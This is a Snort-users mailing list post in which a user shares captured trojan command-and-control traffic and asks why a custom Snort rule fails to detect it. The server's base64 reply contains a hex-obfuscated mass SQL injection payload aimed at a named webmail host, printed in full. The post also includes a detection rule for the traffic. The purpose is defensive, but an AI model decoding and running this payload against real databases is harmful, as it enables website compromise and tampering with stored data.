base64 snort options

[whliudunjun <whliudunjun () 163 com>]

when i use snort to scan pcap package,the net traffic like following:
 
the traffic:---------------------------------------------------------------------------------------
send:
POST /metcon/index.php?id=73EEFFDBC2080030429BE52FA2866576 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Axo 9.104.044 )
Host: 178.157.202.31
Content-Length: 4
Cache-Control: no-cache
INIT
receive:
HTTP/1.1 200 OK
Date: Wed, 06 Jun 2012 09:58:00 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 2196
Content-Type: text/html
d2VibWFpbC52aWdpbGFudGUuZGs=#ODA=#MDAwMA==#L2luZGV4LnBocD9pZD0xJnR5cGU9YWxsJTI3ZGVjbGFyZSUyMEBzJTIwdmFyY2hhcig0MDAwKTtzZXQlMjBAcz1jYXN0KDB4NjQ2NTYzNkM2MTcyNjUyMDQwNzQyMDc2NjE3MjYzNjg2MTcyMjgzMjM1MzUyOTJDNDA2MzIwNzY2MTcyNjM2ODYxNzIyODMyMzUzNTI5MjA2NDY1NjM2QzYxNzI2NTIwNzQ2MTYyNkM2NTVGNjM3NTcyNzM2RjcyMjA2Mzc1NzI3MzZGNzIyMDY2NkY3MjIwNzM2NTZDNjU2Mzc0MjA2MTJFNkU2MTZENjUyQzYyMkU2RTYxNkQ2NTIwNjY3MjZGNkQyMDczNzk3MzZGNjI2QTY1NjM3NDczMjA2MTJDNzM3OTczNjM2RjZDNzU2RDZFNzMyMDYyMjA3NzY4NjU3MjY1MjA2MTJFNjk2NDNENjIyRTY5NjQyMDYxNkU2NDIwNjEyRTc4NzQ3OTcwNjUzRDI3NzUyNzIwNjE2RTY0MjAyODYyMkU3ODc0Nzk3MDY1M0QzOTM5MjA2RjcyMjA2MjJFNzg3NDc5NzA2NTNEMzMzNTIwNkY3MjIwNjIyRTc4NzQ3OTcwNjUzRDMyMzMzMTIwNkY3MjIwNjIyRTc4NzQ3OTcwNjUzRDMxMzYzNzI5MjA2RjcwNjU2RTIwNzQ2MTYyNkM2NTVGNjM3NTcyNzM2RjcyMjA2NjY1NzQ2MzY4MjA2RTY1Nzg3NDIwNjY3MjZGNkQyMDc0NjE2MjZDNjU1RjYzNzU3MjczNkY3MjIwNjk2RTc0NkYyMDQwNzQyQzQwNjMyMDc3Njg2OTZDNjUyODQwNDA2NjY1NzQ2MzY4NUY3Mzc0NjE3NDc1NzMzRDMwMjkyMDYyNjU2NzY5NkUyMDY1Nzg2NTYzMjgyNzc1NzA2NDYxNzQ2NTIwNUIyNzJCNDA3NDJCMjc1RDIwNzM2NTc0MjA1QjI3MkI0MDYzMkIyNzVEM0Q3Mjc0NzI2OTZEMjg2MzZGNkU3NjY1NzI3NDI4NzY2MTcyNjM2ODYxNzIyODM0MzAzMDMwMjkyQzVCMjcyQjQwNjMyQjI3NUQyOTI5MkI2MzYxNzM3NDI4MzA3ODMzNjMzNjM5MzYzNjM3MzIzNjMxMzY2NDM2MzUzMjMwMzczMzM3MzIzNjMzMzM2NDMyMzIzNjM4MzczNDM3MzQzNzMwMzM2MTMyNjYzMjY2MzY2NTM2MzEzNjM0MzY2MTM2NjMzNzMwMzY2NjM2MzkzNzMxMzczNzM2MzUzNjM0MzI2NTM3MzUzNjMxMzI2NjM2NjEzNzMzMzI2NTM3MzAzNjM4MzczMDMzNjYzNzMzMzYzOTM2MzQzMzY0MzMzMjMyMzIzMjMwMzczNzM2MzkzNjM0MzczNDM2MzgzMzY0MzIzMjMzMzAzMjMyMzIzMDM2MzgzNjM1MzYzOTM2MzczNjM4MzczNDMzNjQzMjMyMzMzMDMyMzIzMjMwMzczMzM3MzQzNzM5MzY2MzM2MzUzMzY0MzIzMjM2MzQzNjM5MzczMzM3MzAzNjYzMzYzMTM3MzkzMzYxMzY2NTM2NjYzNjY1MzYzNTMyMzIzMzY1MzM2MzMyNjYzNjM5MzYzNjM3MzIzNjMxMzY2NDM2MzUzMzY1MjA2MTczMjA3NjYxNzI2MzY4NjE3MjI4MzEzMDM2MjkyOTI3MjkyMDY2NjU3NDYzNjgyMDZFNjU3ODc0MjA2NjcyNkY2RDIwNzQ2MTYyNkM2NTVGNjM3NTcyNzM2RjcyMjA2OTZFNzQ2RjIwNDA3NDJDNDA2MzIwNjU2RTY0MjA2MzZDNkY3MzY1MjA3NDYxNjI2QzY1NUY2Mzc1NzI3MzZGNzIyMDY0NjU2MTZDNkM2RjYzNjE3NDY1MjA3NDYxNjI2QzY1NUY2Mzc1NzI3MzZGNzIyMCUyMGFzJTIwdmFyY2hhcig0MDAwKSk7ZXhlYyhAcyk7LS0=#X19fXw==#TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNS4xKSBBcHBsZVdlYktpdC81MzUuMTkgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTguMC4xMDI1LjE2MiBTYWZhcmkvNTM1LjE5##fDgxMw==#
 
end-------------------------------------------------------------------------------------------------------------------------------------------------------
 
base64:
d2VibWFpbC52aWdpbGFudGUuZGs=#
ascii:webmail.vigilante.dk
 
the receive data is encode using base64,so i write a snort rules to detected it:
 41 alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Trojan SQL injection code receive"; 
flow:to_client,established;content:"HTTP/1.1 200 OK";content:"webmail.vigilante.dk";clas    stype:trojan-activity; 
sid:10000043; rev:1;)
 
why this sig can't detect above traffic,is there anyone can tell me why?or i write rules at a wrong way,or i need to 
open some config option.
 
 

------------------------------------------------------------------------------
Live Security Virtual Conference
Exclusive live event will cover all the ways today's security and 
threat landscape has changed and how IT managers can respond. Discussions 
will include endpoint security, mobile security and the latest in malware 
threats. http://www.accelacomm.com/jaw/sfrnl04242012/114/50122263/

_______________________________________________
Snort-users mailing list
Snort-users () lists sourceforge net
Go to this URL to change user options or unsubscribe:
https://lists.sourceforge.net/lists/listinfo/snort-users
Snort-users list archive:
http://www.geocrawler.com/redir-sf.php3?list=snort-users

Please visit http://blog.snort.org to stay current on all the latest Snort news!